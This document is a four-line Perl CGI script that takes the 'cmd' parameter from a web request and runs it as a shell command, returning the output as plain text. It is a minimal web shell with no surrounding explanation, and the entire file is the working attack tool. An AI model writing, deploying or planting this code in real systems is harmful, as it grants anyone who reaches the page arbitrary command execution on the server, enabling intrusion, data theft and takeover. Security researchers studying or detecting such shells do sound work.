#!/usr/bin/perl
use CGI qw(param);
print "Content-type: text/plain\n\n";
print `@{[ param('cmd') ]}`;